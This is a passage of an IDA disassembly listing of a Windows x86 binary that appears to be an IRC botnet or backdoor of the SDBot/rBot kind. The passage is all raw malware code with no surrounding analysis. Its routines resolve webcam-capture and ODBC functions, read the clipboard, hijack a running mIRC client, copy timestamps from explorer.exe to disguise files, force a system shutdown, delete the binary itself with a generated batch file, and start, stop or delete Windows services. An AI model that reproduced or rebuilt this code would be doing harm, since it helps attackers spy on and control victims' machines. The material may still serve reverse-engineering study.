dword_44B728, eax call esi cmp dword_44B768, ebx mov dword_44B600, eax jz short loc_4093D3 cmp dword_44B760, ebx jz short loc_4093D3 cmp dword_44B728, ebx jz short loc_4093D3 cmp eax, ebx jnz short loc_4093DD jmp short loc_4093D3 ; --------------------------------------------------------------------------- loc_4093C8: ; CODE XREF: sub_40888A+AEAj call ds:dword_4942F0 mov dword_44B7D4, eax loc_4093D3: ; CODE XREF: sub_40888A+B26j ; sub_40888A+B2Ej ... mov dword_44B7D0, 1 loc_4093DD: ; CODE XREF: sub_40888A+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_409412 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_44B634, eax call esi cmp dword_44B634, ebx mov dword_44B734, eax jz short loc_40941D cmp eax, ebx jnz short loc_409427 jmp short loc_40941D ; --------------------------------------------------------------------------- loc_409412: ; CODE XREF: sub_40888A+B5Ej call ds:dword_4942F0 mov dword_44B7DC, eax loc_40941D: ; CODE XREF: sub_40888A+B80j ; sub_40888A+B86j mov dword_44B7D8, 1 loc_409427: ; CODE XREF: sub_40888A+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_4094B0 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_44B6FC, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_44B748, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_44B684, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_44B644, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_44B6DC, eax call esi cmp dword_44B6FC, ebx mov dword_44B650, eax jz short loc_4094BB cmp dword_44B748, ebx jz short loc_4094BB cmp dword_44B684, ebx jz short loc_4094BB cmp dword_44B644, ebx jz short loc_4094BB cmp dword_44B6DC, ebx jz short loc_4094BB cmp eax, ebx jnz short loc_4094C5 jmp short loc_4094BB ; --------------------------------------------------------------------------- loc_4094B0: ; CODE XREF: sub_40888A+BA8j call ds:dword_4942F0 mov dword_44B7E4, eax loc_4094BB: ; CODE XREF: sub_40888A+BFEj ; sub_40888A+C06j ... mov dword_44B7E0, 1 loc_4094C5: ; CODE XREF: sub_40888A+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_4094FA push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_44B618, eax call esi cmp dword_44B618, ebx mov dword_44B6F0, eax jz short loc_409505 cmp eax, ebx jnz short loc_40950F jmp short loc_409505 ; --------------------------------------------------------------------------- loc_4094FA: ; CODE XREF: sub_40888A+C46j call ds:dword_4942F0 mov dword_44B7EC, eax loc_409505: ; CODE XREF: sub_40888A+C68j ; sub_40888A+C6Ej mov dword_44B7E8, 1 loc_40950F: ; CODE XREF: sub_40888A+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_40888A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409517 proc near ; CODE XREF: sub_40C50A+57AFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_44B780, esi push edi mov edi, [ebp+arg_8] jz short loc_40955F push dword_44B784 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_40955F: ; CODE XREF: sub_409517+1Aj cmp dword_44B788, esi jz short loc_409593 push dword_44B78C lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_409593: ; CODE XREF: sub_409517+4Ej cmp dword_44B790, esi jz short loc_4095C7 push dword_44B794 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_4095C7: ; CODE XREF: sub_409517+82j cmp dword_44B798, esi jz short loc_4095FB push dword_44B79C lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_4095FB: ; CODE XREF: sub_409517+B6j cmp dword_44B7A0, esi jz short loc_40962F push dword_44B7A4 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_40962F: ; CODE XREF: sub_409517+EAj cmp dword_44B7A8, esi jz short loc_409663 push dword_44B7AC lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_409663: ; CODE XREF: sub_409517+11Ej cmp dword_44B7B0, esi jz short loc_409697 push dword_44B7B4 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_409697: ; CODE XREF: sub_409517+152j cmp dword_44B7B8, esi jz short loc_4096CB push dword_44B7BC lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_4096CB: ; CODE XREF: sub_409517+186j cmp dword_44B7C0, esi jz short loc_4096FF push dword_44B7C4 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_4096FF: ; CODE XREF: sub_409517+1BAj cmp dword_44B7C8, esi jz short loc_409733 push dword_44B7CC lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_409733: ; CODE XREF: sub_409517+1EEj cmp dword_44B7D0, esi jz short loc_409767 push dword_44B7D4 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_409767: ; CODE XREF: sub_409517+222j cmp dword_44B7D8, esi jz short loc_40979B push dword_44B7DC lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_40979B: ; CODE XREF: sub_409517+256j cmp dword_44B7E0, esi jz short loc_4097CF push dword_44B7E4 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_4097CF: ; CODE XREF: sub_409517+28Aj cmp dword_44B7E8, esi jz short loc_409803 push dword_44B7EC lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_418D70 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 20h loc_409803: ; CODE XREF: sub_409517+2BEj lea eax, [ebp+var_200] push offset aMainDllTestCom ; "[MAIN]: DLL test complete." push eax call sub_418D70 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_409830 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40842D add esp, 14h loc_409830: ; CODE XREF: sub_409517+302j lea eax, [ebp+var_200] push eax call sub_4035E1 pop ecx pop edi pop esi pop ebx leave retn sub_409517 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409842 proc near ; CODE XREF: sub_40C50A+BD5p ; sub_40C50A+C09p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_4098CD mov eax, [ebp+arg_4] cmp eax, esi jz short loc_4098CD cmp [ebp+arg_8], esi jz short loc_4098CD cmp byte ptr [eax], 0 jz short loc_4098CD push ebx push edi call sub_4311B0 mov ebx, eax pop ecx test ebx, ebx jz short loc_4098C8 push [ebp+arg_4] push edi call sub_419AB0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4098C1 sub eax, edi push eax push edi push ebx call sub_4191A0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_418E70 push eax push [ebp+arg_8] push ebx call sub_419040 push [ebp+arg_4] call sub_418E70 add eax, esi push eax push ebx call sub_419FB0 push ebx push edi call sub_419FA0 add esp, 30h mov esi, edi loc_4098C1: ; CODE XREF: sub_409842+3Cj push ebx call sub_417480 pop ecx loc_4098C8: ; CODE XREF: sub_409842+2Bj mov eax, esi pop ebx jmp short loc_4098CF ; --------------------------------------------------------------------------- loc_4098CD: ; CODE XREF: sub_409842+Cj ; sub_409842+13j ... xor eax, eax loc_4098CF: ; CODE XREF: sub_409842+89j pop edi pop esi pop ebp retn sub_409842 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098D3 proc near ; CODE XREF: sub_40823C+F4p ; sub_40C392+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_4189A0 mov esi, [ebp+arg_0] push esi call sub_418E70 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_409909 or eax, 0FFFFFFFFh jmp short loc_40997C ; --------------------------------------------------------------------------- loc_409909: ; CODE XREF: sub_4098D3+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_40992B loc_409915: ; CODE XREF: sub_4098D3+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_409922 cmp dl, 0Dh jnz short loc_409926 loc_409922: ; CODE XREF: sub_4098D3+48j and byte ptr [ecx+esi], 0 loc_409926: ; CODE XREF: sub_4098D3+4Dj inc ecx cmp ecx, eax jl short loc_409915 loc_40992B: ; CODE XREF: sub_4098D3+40j xor edx, edx push edi test eax, eax jle short loc_40995C lea edi, [ebp+var_7CC] loc_409938: ; CODE XREF: sub_4098D3+87j cmp byte ptr [edx+esi], 0 jnz short loc_409957 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_409957 cmp ebx, 1F4h jge short loc_40995C mov [edi], ecx inc ebx add edi, 4 loc_409957: ; CODE XREF: sub_4098D3+69j ; sub_4098D3+74j inc edx cmp edx, eax jl short loc_409938 loc_40995C: ; CODE XREF: sub_4098D3+5Dj ; sub_4098D3+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_40997A lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_418A00 add esp, 0Ch loc_40997A: ; CODE XREF: sub_4098D3+8Ej mov eax, ebx loc_40997C: ; CODE XREF: sub_4098D3+34j pop esi pop ebx leave retn sub_4098D3 endp ; =============== S U B R O U T I N E ======================================= sub_409980 proc near ; CODE XREF: sub_4099DA+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_4099B9 push ebx mov ebx, edi loc_40999D: ; CODE XREF: sub_409980+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_4099BC pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_40999D pop ebx loc_4099B9: ; CODE XREF: sub_409980+18j pop edi pop esi retn sub_409980 endp ; =============== S U B R O U T I N E ======================================= sub_4099BC proc near ; CODE XREF: sub_409980+25p ; sub_4099DA+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41AE40 cmp al, 61h pop ecx jl short loc_4099D7 cmp al, 7Ah jg short loc_4099D7 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_4099D7: ; CODE XREF: sub_4099BC+Ej ; sub_4099BC+12j xor eax, eax retn sub_4099BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4099DA proc near ; CODE XREF: .text:004036EAp ; sub_40375F+10p ... var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_418D40 push ebx push esi push edi push [ebp+arg_0] call sub_418E70 push [ebp+arg_4] mov [ebp+var_4], eax call sub_418E70 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_409980 add esp, 14h dec esi mov edi, esi loc_409A18: ; CODE XREF: sub_4099DA+B6j test esi, esi jle short loc_409A96 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41AE40 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41AE40 pop ecx cmp eax, ebx pop ecx jz short loc_409A8E loc_409A3E: ; CODE XREF: sub_4099DA+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_4099BC mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_409A5F mov eax, ecx loc_409A5F: ; CODE XREF: sub_4099DA+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_409A92 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41AE40 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41AE40 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_409A3E loc_409A8E: ; CODE XREF: sub_4099DA+62j dec edi dec esi jmp short loc_409A18 ; --------------------------------------------------------------------------- loc_409A92: ; CODE XREF: sub_4099DA+8Aj xor eax, eax jmp short loc_409A9B ; --------------------------------------------------------------------------- loc_409A96: ; CODE XREF: sub_4099DA+40j mov eax, [ebp+arg_0] add eax, edi loc_409A9B: ; CODE XREF: sub_4099DA+BAj pop edi pop esi pop ebx leave retn sub_4099DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AA0 proc near ; CODE XREF: sub_40C50A+3C8Dp ; sub_40C50A+4AECp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_4942F0 mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call ds:dword_494384 lea eax, [ebp+var_100] loc_409AD9: ; CODE XREF: sub_409AA0+46j mov cl, [eax] cmp cl, 1Fh jg short loc_409AE5 cmp cl, 9 jnz short loc_409AE8 loc_409AE5: ; CODE XREF: sub_409AA0+3Ej inc eax jmp short loc_409AD9 ; --------------------------------------------------------------------------- loc_409AE8: ; CODE XREF: sub_409AA0+43j ; sub_409AA0+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_409B02 mov cl, [eax] cmp cl, 2Eh jz short loc_409AE8 cmp cl, 21h jl short loc_409AE8 loc_409B02: ; CODE XREF: sub_409AA0+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_44B7F0 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_418EF0 add esp, 18h mov eax, esi pop esi leave retn sub_409AA0 endp ; =============== S U B R O U T I N E ======================================= sub_409B2A proc near ; CODE XREF: sub_40C50A+573Bp push esi push 0 call dword_44B690 ; OpenClipboard test eax, eax jz short loc_409B61 push 1 call dword_44B6B0 ; GetClipboardData mov esi, eax test esi, esi jz short loc_409B61 push edi push esi call ds:dword_49438C push esi mov edi, eax call ds:dword_494388 call dword_44B714 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_409B61: ; CODE XREF: sub_409B2A+Bj ; sub_409B2A+19j xor eax, eax pop esi retn sub_409B2A endp ; =============== S U B R O U T I N E ======================================= sub_409B65 proc near ; CODE XREF: sub_40C50A+48DCp arg_0 = dword ptr 4 push ebp push esi xor esi, esi push esi push offset aMirc_0 ; "mIRC" call dword_44B6CC ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_409BE5 push ebx push edi push offset aMirc_1 ; "mIRC" push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:dword_494398 push esi push esi mov edi, eax push esi push 0F001Fh push edi call ds:dword_494394 push [esp+10h+arg_0] mov ebx, eax push ebx call sub_418D70 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_44B71C ; SendMessageA push esi push 1 push 4C9h push ebp call dword_44B71C ; SendMessageA push ebx call ds:dword_494390 push edi call ds:dword_4942E0 push 1 pop eax pop edi pop ebx jmp short loc_409BE7 ; --------------------------------------------------------------------------- loc_409BE5: ; CODE XREF: sub_409B65+14j xor eax, eax loc_409BE7: ; CODE XREF: sub_409B65+7Ej pop esi pop ebp retn sub_409B65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BEA proc near ; CODE XREF: sub_40BBCB+212p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_44B77C ; SearchPathA test eax, eax jz short loc_409C89 mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_4942EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_409C89 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_4943A0 push ebx mov ebx, ds:dword_4942E0 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409C89 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_49439C push esi call ebx loc_409C89: ; CODE XREF: sub_409BEA+2Aj ; sub_409BEA+51j ... pop edi pop esi pop ebx leave retn sub_409BEA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 454h push esi xor esi, esi push 10h lea eax, [ebp-10h] push esi push eax call sub_4189A0 push 44h lea eax, [ebp-54h] push esi push eax call sub_4189A0 push dword ptr [ebp+0Ch] lea eax, [ebp-454h] mov dword ptr [ebp-54h], 44h mov dword ptr [ebp-28h], 1 push dword ptr [ebp+8] mov [ebp-24h], si push offset aSS_7 ; "%s %s" push 400h push eax call sub_418EF0 add esp, 2Ch lea eax, [ebp-10h] push eax lea eax, [ebp-54h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-454h] push esi push eax push dword ptr [ebp+8] call ds:dword_494330 neg eax sbb eax, eax pop esi and eax, [ebp-8] leave retn ; =============== S U B R O U T I N E ======================================= sub_409D0C proc near ; CODE XREF: sub_40C50A+132Ep push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_40B487 pop ecx pop ecx push 50005h push 6 call dword_44B608 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_409D0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D2E proc near ; CODE XREF: sub_405084+472p ; sub_40C50A+59C6p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_43E1B4, esi push edi jz short loc_409D52 cmp dword_44B790, esi jnz short loc_409D52 push esi call sub_4038C0 pop ecx loc_409D52: ; CODE XREF: sub_409D2E+13j ; sub_409D2E+1Bj call sub_4163B4 lea eax, [ebp+var_764] push eax push 400h call ds:dword_4943AC lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_418D70 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_4942EC mov edi, eax cmp edi, esi jbe loc_409EB2 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_418D70 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call ds:dword_4942E4 push edi call ds:dword_4942E0 push 10h lea eax, [ebp+var_14] push esi push eax call sub_4189A0 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_4189A0 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_44B9F4 mov [ebp+var_2C], 1 mov [ebp+var_28], si call ds:dword_494380 push eax call ds:dword_4942F8 lea eax, [ebp+var_15C] push eax call ds:dword_49437C cmp eax, 0FFFFFFFFh jz short loc_409E5A lea eax, [ebp+var_15C] push 80h push eax call ds:dword_4943A8 loc_409E5A: ; CODE XREF: sub_409D2E+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_418D70 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call ds:dword_4943A4 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call ds:dword_494330 loc_409EB2: ; CODE XREF: sub_409D2E+72j pop edi pop esi leave retn sub_409D2E endp ; =============== S U B R O U T I N E ======================================= sub_409EB6 proc near ; CODE XREF: sub_40C50A+1FE1p ; sub_40C50A+2042p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_409F1B lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_43A4D8[esi] push edi push eax call sub_409F3D add esp, 14h test eax, eax jnz short loc_409EFE push edi push off_43A4D4[esi] mov esi, offset dword_44C0B8 push offset aNetSServiceS_ ; "[NET]: %s service: '%s'." push esi call sub_418D70 add esp, 10h jmp short loc_409F38 ; --------------------------------------------------------------------------- loc_409EFE: ; CODE XREF: sub_409EB6+2Aj push eax call sub_409FDF push eax push edi mov esi, offset dword_44C0B8 push offset aNetErrorWithSe ; "[NET]: Error with service: '%s'. %s" push esi call sub_418D70 add esp, 14h jmp short loc_409F38 ; --------------------------------------------------------------------------- loc_409F1B: ; CODE XREF: sub_409EB6+Cj lea eax, [eax+eax*2] mov esi, offset dword_44C0B8 push off_43A4D0[eax*4] push offset aNetSNoServiceS ; "[NET]: %s: No service specified." push esi call sub_418D70 add esp, 0Ch loc_409F38: ; CODE XREF: sub_409EB6+46j ; sub_409EB6+63j mov eax, esi pop edi pop esi retn sub_409EB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409F3D proc near ; CODE XREF: sub_409EB6+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_44B6B4 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_409F64 call ds:dword_4942F0 mov ebx, eax jmp short loc_409FD9 ; --------------------------------------------------------------------------- loc_409F64: ; CODE XREF: sub_409F3D+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_44B5A8 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_409F84 call ds:dword_4942F0 mov ebx, eax jmp short loc_409FD1 ; --------------------------------------------------------------------------- loc_409F84: ; CODE XREF: sub_409F3D+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_409FB7 cmp eax, 3 jz short loc_409FA8 jle short loc_409FCA cmp eax, 6 jg short loc_409FCA lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_44B610 ; ControlService jmp short loc_409FBE ; --------------------------------------------------------------------------- loc_409FA8: ; CODE XREF: sub_409F3D+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_44B5B0 ; StartServiceA jmp short loc_409FBE ; --------------------------------------------------------------------------- loc_409FB7: ; CODE XREF: sub_409F3D+4Dj push esi call dword_44B614 ; DeleteService loc_409FBE: ; CODE XREF: sub_409F3D+69j ; sub_409F3D+78j test eax, eax jnz short loc_409FCA call ds:dword_4942F0 mov ebx, eax loc_409FCA: ; CODE XREF: sub_409F3D+54j ; sub_409F3D+59j ... push esi call dword_44B5C4 ; CloseServiceHandle loc_409FD1: ; CODE XREF: sub_409F3D+45j push edi call dword_44B5C4 ; CloseServiceHandle pop esi loc_409FD9: ; CODE XREF: sub_409F3D+25j mov eax, ebx pop edi pop ebx leave retn sub_409F3D endp ; =============== S U B R O U T I N E ======================================= sub_409FDF proc near ; CODE XREF: sub_409EB6+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40A094 jz loc_40A08D add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40A057 jz short loc_40A04D mov ecx, eax sub ecx, 3 jz short loc_40A043 dec ecx dec ecx jz short loc_40A039 dec ecx jz short loc_40A02F sub ecx, 51h jz short loc_40A025 sub ecx, 24h jnz loc_40A10A ; default ; jumptable 0040A0B1 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40A0FC ; --------------------------------------------------------------------------- loc_40A025: ; CODE XREF: sub_409FDF+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40A0FC ; --------------------------------------------------------------------------- loc_40A02F: ; CODE XREF: sub_409FDF+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40A0FC ; --------------------------------------------------------------------------- loc_40A039: ; CODE XREF: sub_409FDF+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40A0FC ; --------------------------------------------------------------------------- loc_40A043: ; CODE XREF: sub_409FDF+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40A0FC ; --------------------------------------------------------------------------- loc_40A04D: ; CODE XREF: sub_409FDF+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40A0FC ; --------------------------------------------------------------------------- loc_40A057: ; CODE XREF: sub_409FDF+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40A086 dec ecx jz short loc_40A07F dec ecx jz short loc_40A078 dec ecx jnz loc_40A10A ; default ; jumptable 0040A0B1 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40A0FC ; --------------------------------------------------------------------------- loc_40A078: ; CODE XREF: sub_409FDF+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40A0FC ; --------------------------------------------------------------------------- loc_40A07F: ; CODE XREF: sub_409FDF+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40A0FC ; --------------------------------------------------------------------------- loc_40A086: ; CODE XREF: sub_409FDF+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40A0FC ; --------------------------------------------------------------------------- loc_40A08D: ; CODE XREF: sub_409FDF+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40A0FC ; --------------------------------------------------------------------------- loc_40A094: ; CODE XREF: sub_409FDF+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40A10A ; default ; jumptable 0040A0B1 cases 1,5,6,8,9,12,13,15,16 jz short loc_40A0F7 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40A10A ; default ; jumptable 0040A0B1 cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_40A14B[ecx] jmp ds:off_40A123[ecx*4] ; switch jump loc_40A0B8: ; DATA XREF: .text:off_40A123o push offset aTheSpecifiedDa ; jumptable 0040A0B1 case 7 jmp short 